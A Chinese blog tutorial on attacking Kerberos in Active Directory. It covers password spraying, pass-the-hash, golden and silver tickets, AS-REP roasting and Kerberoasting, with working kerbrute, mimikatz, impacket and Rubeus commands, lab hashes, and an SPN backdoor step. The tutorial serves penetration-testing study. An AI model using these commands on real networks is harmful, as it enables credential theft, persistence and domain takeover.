暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Kerberos协议利用

自述小屋 2022-05-16
1472


0x01 用户枚举、密码喷洒

原理分析

在Kerberos认证的AS_REQ阶段,客户端向AS服务发起认证请求,AS根据请求中的用户名、密码字段给客户端不同的响应。根据不同的响应特征可以实施用户枚举和密码喷洒攻击。

该阶段的攻击可在域外或域内,只要我们能够访问域控制器的88端口(Kerberos服务)即可。

攻击方法

kerbrute

https://github.com/ropnop/kerbrute/

枚举用户

    域外
    kerbrute_windows_amd64.exe userenum --dc 192.168.40.132 -d spanning-tree user.txt


    域内(在域内可不指定dc ip)
    kerbrute_windows_amd64.exe userenum -d spanning-tree.org user.txt

    kerbrute 密码喷洒

    默认情况下域用户不锁定的,锁定策略需要手动开启。

      kerbrute_windows_amd64.exe userenum  -d spanning-tree.org user.txt 123456

      TIPS:在域外进行密码喷洒的时候域控时间和外部时间不一致,或者时差相差太多会导致无法喷洒成功。

      这种情况是因为Kerberos在多数认证过程中都会校验时间,如果相差太多就直接终止认证。


      pykerbrute

      枚举用户

      https://github.com/3gstudent/pyKerbrute

        EnumADUser.py 192.168.40.132 spanning-tree.org user.txt tcp

        pykerbrute 密码喷洒

        该工具可以针对mtlnhash进行密码喷洒

          ADPwdSpray.py 192.168.1.1 spanning-tree.org user.txt clearpassword DomainUser123! tcp


          ADPwdSpray.py 192.168.1.1 spanning-tree.org user.txt ntlmhash e00045bd566a1b74386f5c1e3612921b udp


          0x02 哈希传递

          原理分析

          在kerberos认证过程中用户的认证信息是使用用户的hash进行加密后发送的,当AS接收到用户的凭证时候,AS存有用户的hash可以解密。

          所以我们可以在第一阶段认证的时候使用用户的hash

          攻击方法

          因为UAC的影响,在工作组环境中只有rid为500的域用户才可以PTH;在域环境中在域管组才可以PTH。

          mimikatz

          使用此方法必须具备本地管理员权限,所以在域内几乎无法使用mimikatz

            privilege::debug
            mimikatz # sekurlsa::pth user:zhangsan domain:spanning-tree.org ntlm:594ba03f9dd6874f8cee671c26e31a2a

            impacket

              python3 wmiexec.py spanning-tree.org/administrator@192.168.40.132 -hashes aad3b435b51404eeaad3b435b51404ee:85a99f6f97db22fe110bfb0961b2d805


              0x03 黄金票据

              原理分析

              在Kerberos认证的AS_REQ阶段,用户认证成功后会返回TGT票据;TGT票据的签发是通过krbtgt hash进行加密。

              当我们获取到krbtgt用户的hash时就可以任意的签发TGT票据,并且在伪造的20分钟内不会校验真伪。

              攻击方法

              mimikatz

              导出krbtgt用户hash

                privilege::debug
                lsadump::dcsync domain:spanning-tree.org user:krbtgt


                SID:S-1-5-21-3269375421-181298905-1254561410-502


                Hash NTLM: 257161ba130cf9f543509f4f14f25f40
                aes256_hmac:b6edb81920356c9e165b7844ea5152be8153fad6e2b9b3b6a17aac1af14b0457


                生成黄金票据

                  kerberos::golden domain:spanning-tree.org admin:administrator sid:S-1-5-21-3269375421-181298905-1254561410 krbtgt:257161ba130cf9f543509f4f14f25f40 ticket:administrator.kiribi


                  将票据注入内存中

                    kerberos::ptt administrator.kiribi
                    kerberos::tgt


                    在域外如果要对域控进行攻击需要将DNS指向域内DNS服务器,且注入的令牌只在管理员权限下才能调用。



                    impacket

                      python3 ticket.py -nthash 257161ba130cf9f543509f4f14f25f40 -domain-sid S-1-5-21-3269375421-181298905-1254561410 -domain spanning-tree.org administrator


                      设置环境变量

                        Windows:
                        set KRB5CCNAME=C:\Users\Administrator\Desktop\impacket-0.9.24\\examples\\administrator.ccache


                        Linux:
                        export KRB5CCNAME=/home/user/ticket.ccache
                        cat $KRB5CCNAME

                        检测是否成功

                          python3 wmiexec.py spanning-tree.org/administrator@WIN-SJD97LJQLJP -k -no-pass


                          利用impacket工具包生成的黄金票据无法通过net use建立IPC连接,但是可以通过impacket系列工具执行命令,其hostname名称可以通过ping -a IP进行解析。

                            xxxx.py domain/username@hostname -k -no-pass


                            0x04 AS-Roasting

                            原理分析

                            如果域用户关闭的“预身份验证”,攻击者将以任意用户请求TGT票据而KDC并不会做验证,攻击者就会得到TGT票据和用户hash加密的session_key。

                            攻击这可针对hash加密的session_key进行破解,如果破解成功攻击者可以获取用户的明文密码。

                            攻击方法

                            使用Rubeus自动查找所有不需要预身份验证的帐户,并提取脱机破解所需的加密 TGT 数据。

                              Rubeus.exe asreproast /format:hashcat /outfile:C:\Users\lisi\Desktop\1.txt


                              随后使用针对保存的hash进行离线破解即可。


                              0x05 白银票据

                              原理分析

                              在Kerberos认证的第二个阶段,用户拿着TGT票据向服务请求签发TGS票据。

                              TGS票据是通过服务的hash进行加密的,如果攻击者获取到服务的hash值那么就可以签发任意用户的对应TGS票据。

                              攻击方法

                              mimikatz

                              使用白银票据伪造LDAP服务权限获取服务账号的NTLM哈希

                                privilege::debug
                                sekurlsa::logonPasswords


                                NTLM: 325b92ac27746315a7caf8fba0b71c3f


                                当前权限无法使用dcsync与域控进行同步

                                  lsadump::dcsync /dc:WIN-SJD97LJQLJP.spanning-tree.org /domain:spanning-tree.org /user:krbtgt


                                  伪造白银票据获取LDAP访问权限

                                    kerberos::golden /domain:spanning-tree.org /sid:S-1-5-21-3269375421-181298905-1254561410 /target:WIN-SJD97LJQLJP.spanning-tree.org /service:LDAP /rc4:325b92ac27746315a7caf8fba0b71c3f /user:Administrator /ptt

                                    impacket

                                    伪造白银票据获取LDAP权限

                                      python3 ticketer.py -nthash 325b92ac27746315a7caf8fba0b71c3f -domain-sid S-1-5-21-3269375421-181298905-1254561410 -domain spanning-tree.org -dc WIN-SJD97LJQLJP.spanning-tree.org -spn ldap/WIN-SJD97LJQLJP.spanning-tree.org silver


                                      0x06 Kerberosoast攻击

                                      原理分析

                                      出现该攻击因为TGS_REQ阶段用户发送TGT票据,服务不管是否有权限均返回ST票据;

                                      ST票据是由服务的hash进行加密,所以可以针对ST票据的哈希进行破解进而获取服务的明文密码。

                                      攻击方法

                                      使用Rubeus去寻找高权限的域账户,并未发现。

                                      这里手动给域账户添加SPN服务(需要域管权限),可用作后门。

                                        setspn -U -A VNC/DESKTOP-FQBK8L8.spanning-tree.org lisi

                                        我们再次使用Rubeus可发现lisi域账户注册SPN服务


                                          Rubeus.exe kerberoast /format:hashcat /outfile:C:\Users\administrator\Desktop\1.txt

                                          获取其ST票据后,可使用hastcat进行加密。

                                          针对高权限账户可注册SPN服务,这样我们就可以随时获取该用户的ST票据进行破解。



                                          文章转载自自述小屋,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                                          评论